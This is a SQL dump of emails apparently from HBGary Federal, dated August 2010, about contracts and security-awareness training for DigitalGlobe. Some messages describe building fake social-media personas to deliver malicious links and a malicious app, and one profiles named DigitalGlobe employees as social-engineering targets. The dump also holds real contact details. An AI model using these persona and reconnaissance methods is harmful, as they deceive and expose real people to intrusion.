LinkedIn','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHow do I register?  (or do I just show up…)\r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sullivan, Mary\r\n[mailto:mary.sullivan@fidelissecurity.com] \r\nSent: Saturday, August 21, 2010 8:29 AM\r\nTo: Aaron Barr; David Etue\r\nSubject: Fwd: From Scott Sheldon and other cybernexus group members on\r\nLinkedIn\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYou two might find this saic talk interesting.&nbsp;\r\n\r\nSent from my mobile--excuse typos or brevity\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: cybernexus Group\r\nMembers &lt;group-digests@linkedin.com&gt;\r\nDate: August 20, 2010 6:57:31 PM EDT\r\nTo: Mary Sullivan &lt;mary.sullivan@fidelissecurity.com&gt;\r\nSubject: From Scott Sheldon and other cybernexus group members on\r\nLinkedIn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Linkedin Groups\r\n  \r\n  \r\n  August\r\n  20, 2010\r\n  \r\n \r\n \r\n  \r\n  cybernexus\r\n  \r\n \r\n \r\n  \r\n  Latest: 1\r\n  discussion \r\n  \r\n \r\n \r\n  \r\n  Discussions\r\n  (1) \r\n  \r\n   \r\n    \r\n    Technical Tuesday - 5 Oct 2010; 1600 - 1730; The Rise\r\n    of the Social Web\r\n    \r\n    \r\n    Add\r\n    a comment »\r\n    \r\n   \r\n   \r\n    \r\n    Started by\r\n    Scott Sheldon, VP, Senior Account Executive at SAIC\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    The presentation will focus on the rise of the\r\n    social web, convergence of technologies to support the social web, and the\r\n    implications of...\r\n    More » By Scott Sheldon, VP, Senior Account\r\n    Executive at SAIC \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  Don\'t want to receive email notifications? Adjust your message settings.\r\n  LinkedIn\r\n  values your privacy. At no time has LinkedIn made your email address\r\n  available to any other LinkedIn user without your permission. © 2010,\r\n  LinkedIn Corporation.\r\n  Stop inappropriate content\r\n  the moment it is posted. Send\r\n  me an email for each new discussion »\r\n  \r\n  &nbsp;\r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8939,'aaron_hbgary_com/8939.html'),(10795,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008305.M41680P14101Q5649.eml','\"Greg Hoglund\" <greg@hbgary.com>','Documents in the cloud','You should have received a link.\r\n\r\nMy proposal contribution for TSA is pretty much over, so I can focus more now on the book and my Social Media Training, which is somewhat related.\r\n\r\nYesterday I started an experiment for my presentation to INSCOM coming up on Sept. 9th.  I created a persona, 20 year old, just out of basic training and trade school.  Just PCS\'ed to Ft. Belvoir.  I am getting the methodology down for doing this, documenting the process, learning a lot along the way, new ideas pop into my head.  I already have about 20 friends, working my way slowly to Ft. Belvoir, building up a base.\r\n\r\nI say that it is too easy, and it is, but you still have to be methodical in how you approach this type of attack.  You have to pick the persona characteristics carefully.  Stay with big cities, big high schools, big employers...hide in the noise.  Have to develop the persona like you would a person that was growing up.  First friend people around where you grew up, went to the same school, then hobbies, activities, have to build a life.  Then employer.  All of these should support the direction towards your target.  You have to engage people, join groups in LinkedIn, Facebook, interact, ask questions, answer questions.  As you interact you can friend, again choosing carefully to get closer to your target.  Once you have enough mass you strike.  Strike with a modified file, a URL to a cute kitten video, or in my case a patriotic video of our soldiers overseas.\r\n\r\nThis method of attack combined with traditional malware development is frightening in its ability to be targeted and effective.\r\n\r\nAaron',8617,'aaron_hbgary_com/8617.html'),(10796,'2010-08-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008308.M203685P14101Q5651.eml','\"John Harllee\" <John.Harllee@agilex.com>,\"John Harllee\" <John.Harllee@agilex.com>,,','Re: FW: LANL','John,Attached is the signed agreement.  Note changes in bold relating to GL and auto insurance as discussed.  Regards,TedOn Mon, Aug 23, 2010 at 9:29 AM, Jerry McClure &lt;Jerry.McClure@agilex.com&gt; wrote:\r\n&gt; Ted,&gt;&gt;  &gt;&gt; I believe this still is not signed and returned to us which means you are at&gt; risk.  Can you have someone at HbGary sign and send to us today? &gt;&gt;  &gt;\r\n&gt; When we bill LANL, they will want weekly timesheets.  Can you send me at the&gt; end of the week a weekly timesheet (hours by day) to me by resource for&gt; approval?  Thanks&gt;&gt;  &gt;&gt; Jerry\r\n&gt;&gt;  &gt;&gt; From: John Harllee&gt; Sent: Wednesday, August 18, 2010 2:14 PM&gt; To: Jerry McClure&gt; Cc: Ira Entis&gt; Subject: FW: LANL&gt;&gt;  &gt;&gt; Jerry – can you reach out to this guy and make sure he is on this – I don’t\r\n&gt; have his contact info. . .&gt;&gt;  &gt;&gt; From: John Harllee&gt; Sent: Wednesday, August 18, 2010 10:32 AM&gt; To: &#39;aaron@hbgary.com&#39;&gt; Cc: &#39;ted@hbgary.com&#39;; Ira Entis; Jerry McClure\r\n&gt; Subject: LANL&gt;&gt;  &gt;&gt; Aaron – please find attached the subcontract for provision of services by HB&gt; Gary under Agilex’ contract with LANL.  Basically 150 hours at $194/hr plus&gt; travel, work initiating on the 23rd of August.  Any questions or concerns, I\r\n&gt; am available at your convenience at 703.889.3854. &gt;&gt;  &gt;&gt; Thanks much.&gt;&gt;  &gt;&gt; j-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',4272,'aaron_hbgary_com/4272.html'),(10797,'2010-08-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008309.M748595P14101Q5652.eml','\"John Harllee\" <John.Harllee@agilex.com>,\"John Harllee\" <John.Harllee@agilex.com>','Updated Agreement','John,Sorry, but I just noticed that the original agreement read HBGary, Inc. when it should read HBGary Federal, LLC.  We had a similar issue that required correcting during the proposal.  Attached is the updated agreement (changing HBGary Inc to HBGary Federal LLC).\r\nRegards,Ted-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',11292,'aaron_hbgary_com/11292.html'),(10798,'2010-08-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008310.M167150P14101Q5653.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','illegal use of likeness','http://www.citmedialaw.org/legal-guide/using-name-or-likeness-anotherhttp://googlewatch.eweek.com/content/yahoo/yahoo_sued_for_10m_for_illegal_image_use.html\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',11679,'aaron_hbgary_com/11679.html'),(10799,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008310.M446003P14101Q5654.eml','\"Ted Vera\" <ted@hbgary.com>','Re: illegal use of likeness','So I am good.Sent from my iPadOn Aug 24, 2010, at 1:56 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nhttp://www.citmedialaw.org/legal-guide/using-name-or-likeness-another\r\nhttp://googlewatch.eweek.com/content/yahoo/yahoo_sued_for_10m_for_illegal_image_use.html\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n',7958,'aaron_hbgary_com/7958.html'),(10800,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008310.M717230P14101Q5655.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>,\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Social Media Security Awareness Training for DigitalGlobe','Hi Daniel,\r\n\r\nWould you still like to talk this morning?  I am flexible.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 23, 2010, at 10:35 AM, Daniel Collender\r\n wrote:\r\n\r\n> Hi Ted,\r\n>\r\n> Do you and  Aaron have any availability tomorrow (Tuesday) morning?\r\n>\r\n> I am anxious to move forward with some type of general user training\r\n> asap.\r\n>\r\n> Best,\r\n> Dan\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Saturday, August 21, 2010 2:00 PM\r\n> To: Daniel Collender\r\n> Cc: Barr Aaron\r\n> Subject: Re: Social Media Security Awareness Training for DigitalGlobe\r\n>\r\n> Hello Dan,\r\n>\r\n> Aaron Barr (cc\'d) and I are excited to discuss your training needs\r\n> early next week. We can definitely tailor the course material to suite\r\n> your vision below. Aaron is TS/SCI cleared and has presented a similar\r\n> 2hr talk at NSA. When is a good time for the three of us to get on a\r\n> conference call to discuss?\r\n>\r\n> Regards,\r\n> Ted Vera\r\n> 719-237-8623\r\n>\r\n> On Aug 21, 2010, at 12:14 PM, Daniel Collender\r\n>  wrote:\r\n>\r\n>> Hi Ted,\r\n>>\r\n>>\r\n>>\r\n>> Brian Coulson briefed me on the many HB Gary training/awareness\r\n> options available to organizations like DigitalGlobe a few weeks back.\r\n>>\r\n>>\r\n>>\r\n>> Brian is working closely with Maria on the technology solutions front,\r\n> so I was hoping I could work with you on the training/awareness front.\r\n>>\r\n>>\r\n>>\r\n>> DigitalGlobe is currently developing security awareness training for\r\n> all company personnel. We do of course have mandatory security training\r\n> for our cleared personnel, but need to begin  bringing the uncleared\r\n> folks up to speed as well.\r\n>>\r\n>>\r\n>>\r\n>> I would like to organize a series of  mandatory \"Security Awareness\"\r\n> briefings for all company personnel (about 600 people currently, the\r\n> majority of which are in two facilities in Longmont, CO). The initial\r\n> session would focus on Social Media Threats ( with some emphasis on\r\n> Phishing/Spear Phishing/Spam). It is critical that we use this training\r\n> opportunity to convey the seriousness of the threat to our staff and I\r\n> would appreciate some help from your team to ensure are accomplish that\r\n> goal. I would like to go as far as using a real world example (perhaps\r\n> myself or someone from my team) to demonstrate how recognizance can be\r\n> performed by a bad actor against a DigitalGlobe employee and the\r\n> information gathered can be used to infiltrate the company through\r\n> social engineering, spear phishing, etc.... Also, we are working on\r\n> developing policy in this area so we could integrate the new policy into\r\n> the sessions.\r\n>>\r\n>>\r\n>>\r\n>> My original thought was to have a series of one or two hour sessions\r\n> (is that enough time?) divided into Class and Unclass. This way we can\r\n> introduce classified content, if available, into the classified only\r\n> sessions.\r\n>>\r\n>>\r\n>>\r\n>> I am also interested in the full-day training and executive briefings,\r\n> but the urgent need is to get the entire DigitalGlobe user population\r\n> trained on how they can protect the company and themselves from these\r\n> types of threats.\r\n>>\r\n>>\r\n>>\r\n>> Would you have sometime early next week to discuss possible options?\r\n>>\r\n>>\r\n>>\r\n>> Thanks so much for your time.\r\n>>\r\n>>\r\n>>\r\n>> Best,\r\n>>\r\n>> Dan Collender\r\n>>\r\n>> Manager, IT Security & Compliance\r\n',1341,'aaron_hbgary_com/1341.html'),(10801,'2010-08-24','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297008311.M132869P14101Q5656.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media Security Awareness Training for DigitalGlobe','Hi Aaron,\r\n\r\nWould 9:00 AM Mountain time work for you?\r\n\r\nI can call you if you can forward your number.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 24, 2010 4:37 AM\r\nTo: Daniel Collender\r\nCc: Ted Vera\r\nSubject: Re: Social Media Security Awareness Training for DigitalGlobe\r\n\r\nHi Daniel,\r\n\r\nWould you still like to talk this morning?  I am flexible.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 23, 2010, at 10:35 AM, Daniel Collender\r\n wrote:\r\n\r\n> Hi Ted,\r\n>\r\n> Do you and  Aaron have any availability tomorrow (Tuesday) morning?\r\n>\r\n> I am anxious to move forward with some type of general user training\r\n> asap.\r\n>\r\n> Best,\r\n> Dan\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Saturday, August 21, 2010 2:00 PM\r\n> To: Daniel Collender\r\n> Cc: Barr Aaron\r\n> Subject: Re: Social Media Security Awareness Training for DigitalGlobe\r\n>\r\n> Hello Dan,\r\n>\r\n> Aaron Barr (cc\'d) and I are excited to discuss your training needs\r\n> early next week. We can definitely tailor the course material to suite\r\n> your vision below. Aaron is TS/SCI cleared and has presented a similar\r\n> 2hr talk at NSA. When is a good time for the three of us to get on a\r\n> conference call to discuss?\r\n>\r\n> Regards,\r\n> Ted Vera\r\n> 719-237-8623\r\n>\r\n> On Aug 21, 2010, at 12:14 PM, Daniel Collender\r\n>  wrote:\r\n>\r\n>> Hi Ted,\r\n>>\r\n>>\r\n>>\r\n>> Brian Coulson briefed me on the many HB Gary training/awareness\r\n> options available to organizations like DigitalGlobe a few weeks back.\r\n>>\r\n>>\r\n>>\r\n>> Brian is working closely with Maria on the technology solutions\r\nfront,\r\n> so I was hoping I could work with you on the training/awareness front.\r\n>>\r\n>>\r\n>>\r\n>> DigitalGlobe is currently developing security awareness training for\r\n> all company personnel. We do of course have mandatory security\r\ntraining\r\n> for our cleared personnel, but need to begin  bringing the uncleared\r\n> folks up to speed as well.\r\n>>\r\n>>\r\n>>\r\n>> I would like to organize a series of  mandatory \"Security Awareness\"\r\n> briefings for all company personnel (about 600 people currently, the\r\n> majority of which are in two facilities in Longmont, CO). The initial\r\n> session would focus on Social Media Threats ( with some emphasis on\r\n> Phishing/Spear Phishing/Spam). It is critical that we use this\r\ntraining\r\n> opportunity to convey the seriousness of the threat to our staff and I\r\n> would appreciate some help from your team to ensure are accomplish\r\nthat\r\n> goal. I would like to go as far as using a real world example (perhaps\r\n> myself or someone from my team) to demonstrate how recognizance can be\r\n> performed by a bad actor against a DigitalGlobe employee and the\r\n> information gathered can be used to infiltrate the company through\r\n> social engineering, spear phishing, etc.... Also, we are working on\r\n> developing policy in this area so we could integrate the new policy\r\ninto\r\n> the sessions.\r\n>>\r\n>>\r\n>>\r\n>> My original thought was to have a series of one or two hour sessions\r\n> (is that enough time?) divided into Class and Unclass. This way we can\r\n> introduce classified content, if available, into the classified only\r\n> sessions.\r\n>>\r\n>>\r\n>>\r\n>> I am also interested in the full-day training and executive\r\nbriefings,\r\n> but the urgent need is to get the entire DigitalGlobe user population\r\n> trained on how they can protect the company and themselves from these\r\n> types of threats.\r\n>>\r\n>>\r\n>>\r\n>> Would you have sometime early next week to discuss possible options?\r\n>>\r\n>>\r\n>>\r\n>> Thanks so much for your time.\r\n>>\r\n>>\r\n>>\r\n>> Best,\r\n>>\r\n>> Dan Collender\r\n>>\r\n>> Manager, IT Security & Compliance\r\n',13237,'aaron_hbgary_com/13237.html'),(10802,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008311.M389955P14101Q5657.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Social Media Security Awareness Training for DigitalGlobe','sure.  9:00am.  Try 719.510.8478\r\n\r\nAaron\r\n\r\nOn Aug 24, 2010, at 8:20 AM, Daniel Collender wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Would 9:00 AM Mountain time work for you?\r\n> \r\n> I can call you if you can forward your number.\r\n> \r\n> Best,\r\n> Dan\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 24, 2010 4:37 AM\r\n> To: Daniel Collender\r\n> Cc: Ted Vera\r\n> Subject: Re: Social Media Security Awareness Training for DigitalGlobe\r\n> \r\n> Hi Daniel,\r\n> \r\n> Would you still like to talk this morning?  I am flexible.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Aug 23, 2010, at 10:35 AM, Daniel Collender\r\n>  wrote:\r\n> \r\n>> Hi Ted,\r\n>> \r\n>> Do you and  Aaron have any availability tomorrow (Tuesday) morning?\r\n>> \r\n>> I am anxious to move forward with some type of general user training\r\n>> asap.\r\n>> \r\n>> Best,\r\n>> Dan\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Saturday, August 21, 2010 2:00 PM\r\n>> To: Daniel Collender\r\n>> Cc: Barr Aaron\r\n>> Subject: Re: Social Media Security Awareness Training for DigitalGlobe\r\n>> \r\n>> Hello Dan,\r\n>> \r\n>> Aaron Barr (cc\'d) and I are excited to discuss your training needs\r\n>> early next week. We can definitely tailor the course material to suite\r\n>> your vision below. Aaron is TS/SCI cleared and has presented a similar\r\n>> 2hr talk at NSA. When is a good time for the three of us to get on a\r\n>> conference call to discuss?\r\n>> \r\n>> Regards,\r\n>> Ted Vera\r\n>> 719-237-8623\r\n>> \r\n>> On Aug 21, 2010, at 12:14 PM, Daniel Collender\r\n>>  wrote:\r\n>> \r\n>>> Hi Ted,\r\n>>> \r\n>>> \r\n>>> \r\n>>> Brian Coulson briefed me on the many HB Gary training/awareness\r\n>> options available to organizations like DigitalGlobe a few weeks back.\r\n>>> \r\n>>> \r\n>>> \r\n>>> Brian is working closely with Maria on the technology solutions\r\n> front,\r\n>> so I was hoping I could work with you on the training/awareness front.\r\n>>> \r\n>>> \r\n>>> \r\n>>> DigitalGlobe is currently developing security awareness training for\r\n>> all company personnel. We do of course have mandatory security\r\n> training\r\n>> for our cleared personnel, but need to begin  bringing the uncleared\r\n>> folks up to speed as well.\r\n>>> \r\n>>> \r\n>>> \r\n>>> I would like to organize a series of  mandatory \"Security Awareness\"\r\n>> briefings for all company personnel (about 600 people currently, the\r\n>> majority of which are in two facilities in Longmont, CO). The initial\r\n>> session would focus on Social Media Threats ( with some emphasis on\r\n>> Phishing/Spear Phishing/Spam). It is critical that we use this\r\n> training\r\n>> opportunity to convey the seriousness of the threat to our staff and I\r\n>> would appreciate some help from your team to ensure are accomplish\r\n> that\r\n>> goal. I would like to go as far as using a real world example (perhaps\r\n>> myself or someone from my team) to demonstrate how recognizance can be\r\n>> performed by a bad actor against a DigitalGlobe employee and the\r\n>> information gathered can be used to infiltrate the company through\r\n>> social engineering, spear phishing, etc.... Also, we are working on\r\n>> developing policy in this area so we could integrate the new policy\r\n> into\r\n>> the sessions.\r\n>>> \r\n>>> \r\n>>> \r\n>>> My original thought was to have a series of one or two hour sessions\r\n>> (is that enough time?) divided into Class and Unclass. This way we can\r\n>> introduce classified content, if available, into the classified only\r\n>> sessions.\r\n>>> \r\n>>> \r\n>>> \r\n>>> I am also interested in the full-day training and executive\r\n> briefings,\r\n>> but the urgent need is to get the entire DigitalGlobe user population\r\n>> trained on how they can protect the company and themselves from these\r\n>> types of threats.\r\n>>> \r\n>>> \r\n>>> \r\n>>> Would you have sometime early next week to discuss possible options?\r\n>>> \r\n>>> \r\n>>> \r\n>>> Thanks so much for your time.\r\n>>> \r\n>>> \r\n>>> \r\n>>> Best,\r\n>>> \r\n>>> Dan Collender\r\n>>> \r\n>>> Manager, IT Security & Compliance\r\n\r\n',15861,'aaron_hbgary_com/15861.html'),(10803,'2010-08-24','\"Eric\" <eric@dreamseedbooks.com>','/aaron@hbgary.com/new/1297008311.M607449P14101Q5658.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Asking a favor','Due to firewall/seperarion agreement with NG we cannot recruit NG employees. I cannot send to Chris, but you can.Sent from my iPhoneOn Aug 23, 2010, at 5:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hmmmmm....I would forward it to Chris Clair. &nbsp;Raileigh has a photography background as well I think. &nbsp;His skills are not l33t by any means but you never know given his tickets. &nbsp;If they could find a place for him we might be able to get some non-operational intel out of him as well sitting onsite with the customer.:)AaronOn Aug 23, 2010, at 7:21 PM, Eric wrote:Interesting email.Sent from my iPhoneBegin forwarded message:From: Raleigh Warner &lt;fotoman@tropicalwarners.com&gt;Date: August 23, 2010 3:37:29 PM MDTTo: Raleigh Warner &lt;fotoman@tropicalwarners.com&gt;Subject: Asking a favorHey there,I\'ve been in my current job for more than four years now and the drive is beginning to wear on me, even though it\'s currently only fours days a week and I work early enough to miss the bulk of the traffic. &nbsp;I\'m sending you my current resume and I ask that you feel free to forward it to anyone you think might be interested in seeing it. &nbsp;If you\'re eligible for a referral bonus then that\'s even better for you.There\'s no real hurry on this but it\'s always good to see what\'s out there and keep your options open.If you don\'t know anyone, or don\'t care, then no harm, no foul.Thanks,Raleigh&lt;Raleigh_Warner_Resume.pdf&gt;',3737,'aaron_hbgary_com/3737.html'),(10804,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008311.M821315P14101Q5659.eml','\"Eric\" <eric@dreamseedbooks.com>','Re: Asking a favor','right. lol. &nbsp;will do.On Aug 24, 2010, at 9:28 AM, Eric wrote:Due to firewall/seperarion agreement with NG we cannot recruit NG employees. I cannot send to Chris, but you can.Sent from my iPhoneOn Aug 23, 2010, at 5:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hmmmmm....I would forward it to Chris Clair. &nbsp;Raileigh has a photography background as well I think. &nbsp;His skills are not l33t by any means but you never know given his tickets. &nbsp;If they could find a place for him we might be able to get some non-operational intel out of him as well sitting onsite with the customer.:)AaronOn Aug 23, 2010, at 7:21 PM, Eric wrote:Interesting email.Sent from my iPhoneBegin forwarded message:From: Raleigh Warner &lt;fotoman@tropicalwarners.com&gt;Date: August 23, 2010 3:37:29 PM MDTTo: Raleigh Warner &lt;fotoman@tropicalwarners.com&gt;Subject: Asking a favorHey there,I\'ve been in my current job for more than four years now and the drive is beginning to wear on me, even though it\'s currently only fours days a week and I work early enough to miss the bulk of the traffic. &nbsp;I\'m sending you my current resume and I ask that you feel free to forward it to anyone you think might be interested in seeing it. &nbsp;If you\'re eligible for a referral bonus then that\'s even better for you.There\'s no real hurry on this but it\'s always good to see what\'s out there and keep your options open.If you don\'t know anyone, or don\'t care, then no harm, no foul.Thanks,Raleigh&lt;Raleigh_Warner_Resume.pdf&gt;',1415,'aaron_hbgary_com/1415.html');
INSERT INTO `emails` VALUES (10805,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008314.M118091P14101Q5660.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Fwd: Asking a favor','Raleigh is not a skilled web developer.  He has some photography background and he currently works on site with the customer.  If your interested in him let me know.  He could likely provide some good information on what is currently happening (non-operationally).\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Eric \r\n> Date: August 23, 2010 7:21:06 PM EDT\r\n> To: Ted Vera , \"aaron@hbgary.com\" \r\n> Subject: Fwd: Asking a favor\r\n> \r\n> \r\n> Interesting email.\r\n> \r\n> Sent from my iPhone\r\n> \r\n> Begin forwarded message:\r\n> \r\n>> From: Raleigh Warner \r\n>> Date: August 23, 2010 3:37:29 PM MDT\r\n>> To: Raleigh Warner \r\n>> Subject: Asking a favor\r\n>> \r\n>> Hey there,\r\n>> \r\n>> I\'ve been in my current job for more than four years now and the drive is beginning to wear on me, even though it\'s currently only fours days a week and I work early enough to miss the bulk of the traffic.  I\'m sending you my current resume and I ask that you feel free to forward it to anyone you think might be interested in seeing it.  If you\'re eligible for a referral bonus then that\'s even better for you.\r\n>> \r\n>> There\'s no real hurry on this but it\'s always good to see what\'s out there and keep your options open.\r\n>> \r\n>> If you don\'t know anyone, or don\'t care, then no harm, no foul.\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Raleigh\r\n>> \r\n> \r\n\r\n',7622,'aaron_hbgary_com/7622.html'),(10806,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008317.M153621P14101Q5661.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>,\"Daniel Collender\" <dcollend@digitalglobe.com>','Some Information Prior to our conversation','Dan,Just some information I quickly put together. &nbsp;This was just off of facebook research and not very cleaned up. &nbsp;With more time I could put together a social map of DigitalGlobe employees, find their interests, other social media profiles. &nbsp;Then create a personna with a DigitalGlobe background, friend DigitalGlobe employees. &nbsp;The app screenshote below was created from a site called appmakr.com &nbsp;very easy to build a mobile app pull from RSS feeds, include some malicious links, then advertise the app amongst digitalglobe personnel.There are lots of other vulnerabilities but this is one.AaronAndrew Sager - (Redding, CA) used to work in Denver office based on connections.&nbsp; Think&nbsp;from Wisonsin based on connections.&nbsp; Likes Photography.Aaron Jordan (Denver)Andy Heath (Denver)Bill Seneschal (Denver) (linkedin)Brian McArdle (Longmont Co)Curtis Thomas (Denver)Daniel Drew (Denver)Dan MilamDavid Record (Denver)Ed Jeffery (Denver)Heather N. Sager (Redding)Garrett Donnelly (not a friend of Mark Eaker)Ian Orzechowski (Colorado)Jeff Stankiewicz (New Zealand - used to be DG)Kari Kern (Denver)Ken Phillips&nbsp;Lorie Booth (Miami)Mark Eaker - lots about this guy.&nbsp; Trips.&nbsp; Weak Link. Strong relationship correlations.Mike Myers (Allentown, PA)&nbsp;Wayne MontleYoshi Tamara DanielsYousuf KhanAndrew and Mark have friends outside of DigitalGlobe, so likely a tighter correlation between these two.443 people on LinkedIn',3926,'aaron_hbgary_com/3926.html'),(10807,'2010-08-24','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008321.M544744P14101Q5662.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Asking a favor','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nWe are very interested in Raleigh and are checking our reqs to\r\nsee where he qualifies.&nbsp; I&#8217;ll be in touch if I have andy questions.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris &nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 24, 2010 9:33 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Fwd: Asking a favor\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRaleigh is not a skilled web developer. &nbsp;He has some\r\nphotography background and he currently works on site with the customer.\r\n&nbsp;If your interested in him let me know. &nbsp;He could likely provide some\r\ngood information on what is currently happening (non-operationally).\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nEric\r\n&lt;eric@dreamseedbooks.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nAugust\r\n23, 2010 7:21:06 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nTed\r\nVera &lt;ted@hbgary.com&gt;, &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nFwd: Asking a favor\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nInteresting email.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Raleigh Warner\r\n&lt;fotoman@tropicalwarners.com&gt;\r\nDate: August 23, 2010 3:37:29 PM MDT\r\nTo: Raleigh Warner &lt;fotoman@tropicalwarners.com&gt;\r\nSubject: Asking a favor\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey there,\r\n\r\nI\'ve been in my current job for more than four years now and the drive is\r\nbeginning to wear on me, even though it\'s currently only fours days a week and\r\nI work early enough to miss the bulk of the traffic. &nbsp;I\'m sending you my\r\ncurrent resume and I ask that you feel free to forward it to anyone you think\r\nmight be interested in seeing it. &nbsp;If you\'re eligible for a referral bonus\r\nthen that\'s even better for you.\r\n\r\nThere\'s no real hurry on this but it\'s always good to see what\'s out there and\r\nkeep your options open.\r\n\r\nIf you don\'t know anyone, or don\'t care, then no harm, no foul.\r\n\r\nThanks,\r\n\r\nRaleigh\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8189,'aaron_hbgary_com/8189.html'),(10808,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008323.M482475P14101Q5663.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Reports','Starting to work on the idea of Information Exposure Reports  Here is some data I am throwing together for DigitalGlobe.  The main report.  The text files are a grab of the friends lists in facebook.  Nice thing is the links stay intact.  So I imagine we can start to some data correlation across these files to look for similarities.\r\n\r\n',9876,'aaron_hbgary_com/9876.html'),(10809,'2010-08-24','\"Manfai Fong\" <manfai.fong@ugov.gov>','/aaron@hbgary.com/new/1297008323.M827650P14101Q5664.eml','\"Aaron Barr\" <aaron@hbgary.com>','Contact 